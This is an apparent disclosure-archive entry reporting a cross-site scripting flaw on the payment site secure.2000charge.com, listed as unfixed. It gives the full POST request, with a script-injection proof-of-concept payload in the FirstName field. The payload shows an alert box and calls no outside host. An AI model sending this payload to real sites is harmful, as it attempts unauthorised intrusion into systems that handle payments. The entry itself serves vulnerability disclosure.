Security researcher Xylitol, has submitted on 30/06/2010 a cross-site-scripting (XSS) vulnerability affecting secure.2000charge.com, which at the time of submission ranked 306795 on the web according to Alexa. 
We manually validated and published a mirror of this vulnerability on 29/11/2011. It is currently unfixed. 
If you believe that this security issue has been corrected, please send us an e-mail. | 
 
              | Date submitted: 30/06/2010 | 
Date published: 29/11/2011 | 
Fixed? Mail us! | Status:   UNFIXED |  
 
| Author: Xylitol | 
Domain: secure.2000charge.com | 
Category: XSS | 
Pagerank: 306795 | 
 
 
 
| URL: https://secure.2000charge.com/secure/new/Interface-DD.asp | 
 
 
| POST: action=Process&id=7334&username=&XField=w1%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C18&paymenttypecode=EUB&usern ameflag=N&passwordflag=N&cardtypename=&ResellerID=&NoPhoneNumber=N&pricepoint=&smartPost=&CallingFro m=&Country_geo=German&BankNameCode=&CKABA=%27%27&CKAcct=%27%27&IDField1=%27%27&IDField2=%27%27&IDFie ld3=%27%27&IDField4=%27%27&account=7334109&FirstName=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337 %29%3C%2Fscript%3E&LastName=&Address1=&City=&Zip=&country=DE&State=&Phone=&EMail=&UserPassword=&User Password2= | 
 
| 
Click here to view the mirror
 | 
 
| 
 | 
 
 
         
 |